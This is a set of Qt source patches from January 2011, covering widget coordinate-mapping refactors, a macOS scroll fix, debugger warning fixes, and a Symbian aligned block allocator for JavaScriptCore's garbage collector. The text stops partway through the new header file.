    From 6bcd2f316ef8d2f070f798cd6ac59ed67fecb0e1 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Tue, 25 Jan 2011 13:28:49 +1000
    Subject: Fix critical spelling mistake.
    
    ---
     src/declarative/graphicsitems/qdeclarativeitem.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index afa1b72..e1c138f 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -3235,7 +3235,7 @@ qreal QDeclarativeItem::implicitHeight() const
         \endcode
     
         \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
    -    incurs a performance penalty as the text must be layed out twice.
    +    incurs a performance penalty as the text must be laid out twice.
     */
     
     
    -- 
    cgit v0.12
    
    
    From f15778e60ba538b8715f6433a472ffe08a21d934 Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Tue, 25 Jan 2011 14:59:03 +1000
    Subject: Fix warnings.
    
    ---
     src/declarative/debugger/qdeclarativedebugtrace.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    index 4bad405..6f28736 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
    +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    @@ -144,7 +144,7 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100)), -1};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toString(QUrl::FormattingOption(0x100)), -1};
         processMessage(rd);
     }
     
    @@ -162,7 +162,7 @@ void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QUrl &file
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toEncoded(QUrl::FormattingOption(0x100)), line};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toString(QUrl::FormattingOption(0x100)), line};
         processMessage(rd);
     }
     
    -- 
    cgit v0.12
    
    
    From aeac5bf7cebb304eaf68bd7490294fc7021fe4c4 Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Tue, 25 Jan 2011 10:35:13 +0100
    Subject: Cocoa: disable scroll optimization for certain cases
    
    No reason to use the optimization when only scrolling in one
    direction. In those cases we are better off scrolling immidiatly
    when requested to minimize the shuffling of
    scrolls and repaints done by the application
    ---
     src/gui/kernel/qcocoaview_mac.mm        | 10 ++++++----
     src/gui/kernel/qt_cocoa_helpers_mac_p.h |  4 ++--
     2 files changed, 8 insertions(+), 6 deletions(-)
    
    diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm
    index 1b81699..f0ae886 100644
    --- a/src/gui/kernel/qcocoaview_mac.mm
    +++ b/src/gui/kernel/qcocoaview_mac.mm
    @@ -581,26 +581,28 @@ static int qCocoaViewCount = 0;
     #ifndef QT_NO_WHEELEVENT
         // ### Qt 5: Send one QWheelEvent with dx, dy and dz
     
    -    QMacScrollOptimization::initNewScroll();
    +    if (deltaX != 0 && deltaY != 0)
    +        QMacScrollOptimization::initDelayedScroll();
     
         if (deltaX != 0) {
             QWheelEvent qwe(qlocal, qglobal, deltaX, buttons, keyMods, Qt::Horizontal);
             qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
         }
     
    -    if (deltaY) {
    +    if (deltaY != 0) {
             QWheelEvent qwe(qlocal, qglobal, deltaY, buttons, keyMods, Qt::Vertical);
             qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
         }
     
    -    if (deltaZ) {
    +    if (deltaZ != 0) {
             // Qt doesn't explicitly support wheels with a Z component. In a misguided attempt to
             // try to be ahead of the pack, I'm adding this extra value.
             QWheelEvent qwe(qlocal, qglobal, deltaZ, buttons, keyMods, (Qt::Orientation)3);
             qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
         }
     
    -    QMacScrollOptimization::performDelayedScroll();
    +    if (deltaX != 0 && deltaY != 0)
    +        QMacScrollOptimization::performDelayedScroll();
     #endif //QT_NO_WHEELEVENT
     }
     
    diff --git a/src/gui/kernel/qt_cocoa_helpers_mac_p.h b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    index 9e09fd3..334d9e8 100644
    --- a/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    +++ b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    @@ -247,7 +247,7 @@ void qt_cocoaPostMessageAfterEventLoopExit(id target, SEL selector, int argCount
     #endif
     
     class QMacScrollOptimization {
    -    // This class is made optimize for the case when the user
    +    // This class is made to optimize for the case when the user
         // scrolls both horizontally and vertically at the same
         // time. This will result in two QWheelEvents (one for each
         // direction), which will typically result in two calls to
    @@ -261,7 +261,7 @@ class QMacScrollOptimization {
         static QRect _scrollRect;
     
     public:
    -    static void initNewScroll()
    +    static void initDelayedScroll()
         {
             _inWheelEvent = true;
         }
    -- 
    cgit v0.12
    
    
    From 7332dd762a406bb94d37e53a0bdd16045760d956 Mon Sep 17 00:00:00 2001
    From: Denis Dzyubenko 
    Date: Tue, 25 Jan 2011 10:45:41 +0100
    Subject: Moved the implementation of mapFromGlobal/mapToGlobal to
     QWidgetPrivate
    MIME-Version: 1.0
    Content-Type: text/plain; charset=UTF-8
    Content-Transfer-Encoding: 8bit
    
    Reviewed-by: João Abecasis
    ---
     src/gui/kernel/qwidget_p.h     |  2 ++
     src/gui/kernel/qwidget_x11.cpp | 50 +++++++++++++++++++++++++-----------------
     2 files changed, 32 insertions(+), 20 deletions(-)
    
    diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
    index 693984a..3759dd1 100644
    --- a/src/gui/kernel/qwidget_p.h
    +++ b/src/gui/kernel/qwidget_p.h
    @@ -767,6 +767,8 @@ public:
         void x11UpdateIsOpaque();
         bool isBackgroundInherited() const;
         void updateX11AcceptFocus();
    +    QPoint mapToGlobal(const QPoint &pos) const;
    +    QPoint mapFromGlobal(const QPoint &pos) const;
     #elif defined(Q_WS_WIN) // <--------------------------------------------------------- WIN
         uint noPaintOnScreen : 1; // see qwidget_win.cpp ::paintEngine()
     #ifndef QT_NO_GESTURES
    diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
    index a93c545..4b59bfc 100644
    --- a/src/gui/kernel/qwidget_x11.cpp
    +++ b/src/gui/kernel/qwidget_x11.cpp
    @@ -1280,39 +1280,49 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f)
     #endif
     }
     
    -
    -QPoint QWidget::mapToGlobal(const QPoint &pos) const
    +QPoint QWidgetPrivate::mapToGlobal(const QPoint &pos) const
     {
    -    Q_D(const QWidget);
    -    if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
    -        QPoint p = pos + data->crect.topLeft();
    +    Q_Q(const QWidget);
    +    if (!q->testAttribute(Qt::WA_WState_Created) || !q->internalWinId()) {
    +        QPoint p = pos + q->data->crect.topLeft();
             //cannot trust that !isWindow() implies parentWidget() before create
    -        return (isWindow() || !parentWidget()) ?  p : parentWidget()->mapToGlobal(p);
    +        return (q->isWindow() || !q->parentWidget()) ?  p : q->parentWidget()->d_func()->mapToGlobal(p);
         }
    -    int           x, y;
    +    int x, y;
         Window child;
    -    QPoint p = d->mapToWS(pos);
    -    XTranslateCoordinates(X11->display, internalWinId(),
    -                          QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
    +    QPoint p = mapToWS(pos);
    +    XTranslateCoordinates(X11->display, q->internalWinId(),
    +                          QApplication::desktop()->screen(xinfo.screen())->internalWinId(),
                               p.x(), p.y(), &x, &y, &child);
         return QPoint(x, y);
     }
     
    -
    -QPoint QWidget::mapFromGlobal(const QPoint &pos) const
    +QPoint QWidgetPrivate::mapFromGlobal(const QPoint &pos) const
     {
    -    Q_D(const QWidget);
    -    if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
    +    Q_Q(const QWidget);
    +    if (!q->testAttribute(Qt::WA_WState_Created) || !q->internalWinId()) {
             //cannot trust that !isWindow() implies parentWidget() before create
    -        QPoint p = (isWindow() || !parentWidget()) ?  pos : parentWidget()->mapFromGlobal(pos);
    -        return p - data->crect.topLeft();
    +        QPoint p = (q->isWindow() || !q->parentWidget()) ?  pos : q->parentWidget()->d_func()->mapFromGlobal(pos);
    +        return p - q->data->crect.topLeft();
         }
    -    int           x, y;
    +    int x, y;
         Window child;
         XTranslateCoordinates(X11->display,
    -                          QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
    -                          internalWinId(), pos.x(), pos.y(), &x, &y, &child);
    -    return d->mapFromWS(QPoint(x, y));
    +                          QApplication::desktop()->screen(xinfo.screen())->internalWinId(),
    +                          q->internalWinId(), pos.x(), pos.y(), &x, &y, &child);
    +    return mapFromWS(QPoint(x, y));
    +}
    +
    +QPoint QWidget::mapToGlobal(const QPoint &pos) const
    +{
    +    Q_D(const QWidget);
    +    return d->mapToGlobal(pos);
    +}
    +
    +QPoint QWidget::mapFromGlobal(const QPoint &pos) const
    +{
    +    Q_D(const QWidget);
    +    return d->mapFromGlobal(pos);
     }
     
     void QWidgetPrivate::updateSystemBackground()
    -- 
    cgit v0.12
    
    
    From cdd776a91e65bf5c30cea1bab9823134a3f797d0 Mon Sep 17 00:00:00 2001
    From: Denis Dzyubenko 
    Date: Tue, 25 Jan 2011 10:01:56 +0100
    Subject: Improved performance of mapFromGlobal/mapToGlobal on X11
    MIME-Version: 1.0
    Content-Type: text/plain; charset=UTF-8
    Content-Transfer-Encoding: 8bit
    
    We don't call XTranslateCoordinates anymore, but use the toplevel window
    offset that we already store to convert between screen coordinates and
    widget coordinates.
    
    Reviewed-by: João Abecasis
    ---
     src/gui/kernel/qwidget_x11.cpp | 28 ++++++++++++++++++++++++++++
     1 file changed, 28 insertions(+)
    
    diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
    index 4b59bfc..9893478 100644
    --- a/src/gui/kernel/qwidget_x11.cpp
    +++ b/src/gui/kernel/qwidget_x11.cpp
    @@ -1316,12 +1316,40 @@ QPoint QWidgetPrivate::mapFromGlobal(const QPoint &pos) const
     QPoint QWidget::mapToGlobal(const QPoint &pos) const
     {
         Q_D(const QWidget);
    +    QPoint offset = data->crect.topLeft();
    +    const QWidget *w = this;
    +    const QWidget *p = w->parentWidget();
    +    while (!w->isWindow() && p) {
    +        w = p;
    +        p = p->parentWidget();
    +        offset += w->data->crect.topLeft();
    +    }
    +
    +    const QWidgetPrivate *wd = w->d_func();
    +    QTLWExtra *tlw = wd->topData();
    +    if (!tlw->embedded)
    +        return pos + offset;
    +
         return d->mapToGlobal(pos);
     }
     
     QPoint QWidget::mapFromGlobal(const QPoint &pos) const
     {
         Q_D(const QWidget);
    +    QPoint offset = data->crect.topLeft();
    +    const QWidget *w = this;
    +    const QWidget *p = w->parentWidget();
    +    while (!w->isWindow() && p) {
    +        w = p;
    +        p = p->parentWidget();
    +        offset += w->data->crect.topLeft();
    +    }
    +
    +    const QWidgetPrivate *wd = w->d_func();
    +    QTLWExtra *tlw = wd->topData();
    +    if (!tlw->embedded)
    +        return pos - offset;
    +
         return d->mapFromGlobal(pos);
     }
     
    -- 
    cgit v0.12
    
    
    From 7db489a0de073a2a56fe32d16f1cbe1bebdfd06d Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Tue, 25 Jan 2011 11:39:37 +0100
    Subject: QtScript/JSC on Symbian: Enhanced memory allocator for Collector heap
    
    Cherry-picked from http://trac.webkit.org/changeset/56370
    
    The old allocator caused QML to crash in MCL (TB10.1, week 1).
    
    Task-number: QTBUG-14293
    Reviewed-by: Simon Hausmann
    ---
     .../javascriptcore/JavaScriptCore/ChangeLog        |  28 +++++
     .../JavaScriptCore/JavaScriptCore.pri              |   3 +
     .../JavaScriptCore/runtime/Collector.cpp           |  46 ++-----
     .../JavaScriptCore/runtime/Collector.h             |   9 ++
     .../JavaScriptCore/runtime/CollectorHeapIterator.h |  10 +-
     .../wtf/symbian/BlockAllocatorSymbian.cpp          | 132 +++++++++++++++++++++
     .../wtf/symbian/BlockAllocatorSymbian.h            | 120 +++++++++++++++++++
     src/3rdparty/javascriptcore/VERSION                |   4 +-
     src/script/script.pro                              |   1 -
     9 files changed, 309 insertions(+), 44 deletions(-)
     create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
     create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    index fd6c3f7..c2b1155 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    @@ -232,6 +232,34 @@
             without using doubles, but the code would be much more complicated, and there is no important
             reason to stick to integers here.
     
    +2010-03-22  Siddharth Mathur  
    +
    +        Reviewed by Laszlo Gombos.
    +
    +        [Symbian] More efficient aligned memory allocation for JSC Collector
    +        https://bugs.webkit.org/show_bug.cgi?id=34350
    +
    +        * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
    +
    +        * runtime/Collector.cpp: Reduced port-specific code and added private data member
    +        (JSC::Heap::Heap):
    +        (JSC::Heap::~Heap):
    +        (JSC::Heap::destroy):
    +        (JSC::Heap::allocateBlock):
    +        (JSC::Heap::freeBlockPtr):
    +
    +        * runtime/Collector.h: Added private data member
    +
    +        * wtf/symbian: Added.
    +        * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
    +        (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate 
    +        aligned blocks more efficiently as required by Collector
    +        (WTF::AlignedBlockAllocator::alloc):
    +        (WTF::AlignedBlockAllocator::free):
    +        (WTF::AlignedBlockAllocator::destroy):
    +        (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
    +        * wtf/symbian/BlockAllocatorSymbian.h: Added.
    +
     2010-03-22  Geoffrey Garen  
     
             Reviewed by Sam Weinig.
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    index d75bd31..b061321 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    @@ -16,6 +16,7 @@ CONFIG(debug, debug|release) {
     symbian: {
         # Need to guarantee this comes before system includes of /epoc32/include
         MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
    +    LIBS += -lhal
     }
     
     INCLUDEPATH = \
    @@ -33,6 +34,7 @@ INCLUDEPATH = \
         $$PWD/runtime \
         $$PWD/wrec \
         $$PWD/wtf \
    +    $$PWD/wtf/symbian \
         $$PWD/wtf/unicode \
         $$PWD/yarr \
         $$PWD/API \
    @@ -211,6 +213,7 @@ SOURCES += \
         wtf/qt/ThreadingQt.cpp \
         wtf/RandomNumber.cpp \
         wtf/RefCountedLeakCounter.cpp \
    +    wtf/symbian/BlockAllocatorSymbian.cpp \
         wtf/symbian/RegisterFileAllocatorSymbian.cpp \
         wtf/ThreadingNone.cpp \
         wtf/Threading.cpp \
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    index 24873c8..42e2a35 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    @@ -53,11 +53,6 @@
     #include 
     #include 
     
    -#elif OS(SYMBIAN)
    -#include 
    -#include 
    -#include 
    -
     #elif OS(WINDOWS)
     
     #include 
    @@ -109,11 +104,6 @@ const size_t ALLOCATIONS_PER_COLLECTION = 3600;
     // a PIC branch in Mach-O binaries, see .
     #define MIN_ARRAY_SIZE (static_cast(14))
     
    -#if OS(SYMBIAN)
    -const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
    -static RHeap* userChunk = 0;
    -#endif
    -
     #if ENABLE(JSC_MULTIPLE_THREADS)
     
     #if OS(DARWIN)
    @@ -146,29 +136,11 @@ Heap::Heap(JSGlobalData* globalData)
         , m_currentThreadRegistrar(0)
     #endif
         , m_globalData(globalData)
    +#if OS(SYMBIAN)
    +    , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
    +#endif
     {
         ASSERT(globalData);
    -    
    -#if OS(SYMBIAN)
    -    // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
    -    // Using fastMalloc() does not properly align blocks on 64k boundaries
    -    // and previous implementation was flawed/incomplete.
    -    // UserHeap::ChunkHeap allows allocation of continuous memory and specification
    -    // of alignment value for (symbian) cells within that heap.
    -    //
    -    // Clarification and mapping of terminology:
    -    // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
    -    // which can dynamically grow up to 8 MB,
    -    // that holds all CollectorBlocks of this session (static).
    -    // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
    -    // JSCell objects are maintained as usual within CollectorBlocks.
    -    if (!userChunk) {
    -        userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
    -        if (!userChunk)
    -            CRASH();
    -    }
    -#endif // OS(SYMBIAN)
    -    
         memset(&m_heap, 0, sizeof(CollectorHeap));
         allocateBlock();
     }
    @@ -211,7 +183,9 @@ void Heap::destroy()
             t = next;
         }
     #endif
    -
    +#if OS(SYMBIAN)
    +    m_blockallocator.destroy();
    +#endif
         m_globalData = 0;
     }
     
    @@ -221,11 +195,9 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
         vm_address_t address = 0;
         vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
     #elif OS(SYMBIAN)
    -    // Allocate a 64 kb aligned CollectorBlock
    -    unsigned char* mask = reinterpret_cast(userChunk->Alloc(BLOCK_SIZE));
    -    if (!mask)
    +    void* address = m_blockallocator.alloc();  
    +    if (!address)
             CRASH();
    -    uintptr_t address = reinterpret_cast(mask);
     #elif OS(WINCE)
         void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     #elif OS(WINDOWS)
    @@ -316,7 +288,7 @@ NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
     #if OS(DARWIN)    
         vm_deallocate(current_task(), reinterpret_cast(block), BLOCK_SIZE);
     #elif OS(SYMBIAN)
    -    userChunk->Free(reinterpret_cast(block));
    +    m_blockallocator.free(reinterpret_cast(block));
     #elif OS(WINCE)
         VirtualFree(block, 0, MEM_RELEASE);
     #elif OS(WINDOWS)
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    index 7f7a679..d3616dc 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    @@ -35,6 +35,10 @@
     #include 
     #endif
     
    +#if OS(SYMBIAN)
    +#include 
    +#endif
    +
     #define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
     
     namespace JSC {
    @@ -167,6 +171,11 @@ namespace JSC {
             pthread_key_t m_currentThreadRegistrar;
     #endif
     
    +#if OS(SYMBIAN)
    +        // Allocates collector blocks with correct alignment
    +        WTF::AlignedBlockAllocator m_blockallocator; 
    +#endif
    +        
             JSGlobalData* m_globalData;
         };
     
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
    index 4a38df9..e4f2f91 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
    @@ -97,12 +97,14 @@ namespace JSC {
     
         inline LiveObjectIterator& LiveObjectIterator::operator++()
         {
    -        advance(HeapConstants::cellsPerBlock - 1);
    -        if (m_block < m_heap.nextBlock || (m_block == m_heap.nextBlock && m_cell < m_heap.nextCell))
    +        if (m_block < m_heap.nextBlock || m_cell < m_heap.nextCell) {
    +            advance(HeapConstants::cellsPerBlock);
                 return *this;
    +        }
     
    -        while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell))
    -            advance(HeapConstants::cellsPerBlock - 1);
    +        do {
    +            advance(HeapConstants::cellsPerBlock);
    +        } while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell));
             return *this;
         }
     
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
    new file mode 100644
    index 0000000..6a28e9e
    --- /dev/null
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
    @@ -0,0 +1,132 @@
    +/*
    + * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
    + *
    + * Redistribution and use in source and binary forms, with or without
    + * modification, are permitted provided that the following conditions
    + * are met:
    + *
    + * 1.  Redistributions of source code must retain the above copyright
    + *     notice, this list of conditions and the following disclaimer. 
    + * 2.  Redistributions in binary form must reproduce the above copyright
    + *     notice, this list of conditions and the following disclaimer in the
    + *     documentation and/or other materials provided with the distribution. 
    + * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
    + *     its contributors may be used to endorse or promote products derived
    + *     from this software without specific prior written permission. 
    + *
    + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
    + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    + * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
    + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    + */
    +
    +#include "config.h"
    +
    +#if OS(SYMBIAN)
    +
    +#include "BlockAllocatorSymbian.h"
    +
    +
    +namespace WTF {
    +
    +/** Efficiently allocates blocks of size blockSize with blockSize alignment. 
    + * Primarly designed for JSC Collector's needs. 
    + * Not thread-safe.    
    + */
    +AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
    +    : m_reservation(reservationSize), 
    +      m_blockSize(blockSize)
    +{
    +
    +     // Get system's page size value.
    +     SYMBIAN_PAGESIZE(m_pageSize); 
    +     
    +     // We only accept multiples of system page size for both initial reservation and the alignment/block size
    +     m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
    +     __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
    +     
    +     // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
    +     m_map.numBits = m_reservation / m_blockSize;   
    +     const TUint32 bitsPerWord = 8*sizeof(TUint32); 
    +     const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord; 
    +   
    +     m_map.bits = new TUint32[numWords];
    +     __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
    +     m_map.clearAll();
    +     
    +     // Open a Symbian RChunk, and reserve requested virtual address range   
    +     // Any thread in this process can operate this rchunk due to EOwnerProcess access rights. 
    +     TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);  
    +     if (ret != KErrNone) 
    +         User::Panic(_L("AlignedBlockAllocator3"), ret);
    +       
    +     // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
    +     m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base()); 
    +
    +}
    +
    +void* AlignedBlockAllocator::alloc()
    +{
    +
    +    TInt  freeRam = 0; 
    +    void* address = 0;
    +    
    +    // Look up first free slot in bit map
    +    const TInt freeIdx = m_map.findFree();
    +        
    +    // Pseudo OOM: We ate up the address space we reserved..
    +    // ..even though the device may have free RAM left
    +    if (freeIdx < 0)
    +        return 0;
    +        
    +    TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
    +    if (ret != KErrNone)  
    +        return 0; // True OOM: Device didn't have physical RAM to spare
    +        
    +    // Updated bit to mark region as in use. 
    +    m_map.set(freeIdx); 
    +    
    +    // Calculate address of committed region (block)
    +    address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
    +    
    +    return address;
    +}
    +
    +void AlignedBlockAllocator::free(void* block)
    +{
    +    // Calculate index of block to be freed
    +    TInt idx = TUint(static_cast(block) - m_chunk.Base() - m_offset) / m_blockSize;
    +    
    +    __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
    +    __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check    
    +    
    +    // Return committed region to system RAM pool (the physical RAM becomes usable by others)
    +    TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
    +            
    +    // mark this available again
    +    m_map.clear(idx); 
    +}
    +
    +void AlignedBlockAllocator::destroy() 
    +{
    +    // release everything!
    +    m_chunk.Decommit(0, m_chunk.MaxSize());
    +    m_map.clearAll();
    +}
    +
    +AlignedBlockAllocator::~AlignedBlockAllocator()
    +{
    +    destroy();
    +    m_chunk.Close();
    +    delete [] m_map.bits;
    +}
    +
    +} // end of namespace
    +
    +#endif // SYMBIAN
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    new file mode 100644
    index 0000000..21422f6
    --- /dev/null
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    @@ -0,0 +1,120 @@
    +/*
    + * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
    + *
    + * Redistribution and use in source and binary forms, with or without
    + * modification, are permitted provided that the following conditions
    + * are met:
    + *
    + * 1.  Redistributions of source code must retain the above copyright
    + *     notice, this list of conditions and the following disclaimer. 
    + * 2.  Redistributions in binary form must reproduce the above copyright
    + *     notice, this list of conditions and the following disclaimer in the
    + *     documentation and/or other materials provided with the distribution. 
    + * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
    + *     its contributors may be used to endorse or promote products derived
    + *     from this software without specific prior written permission. 
    + *
    + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
    + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    + * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
    + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    + */
    +
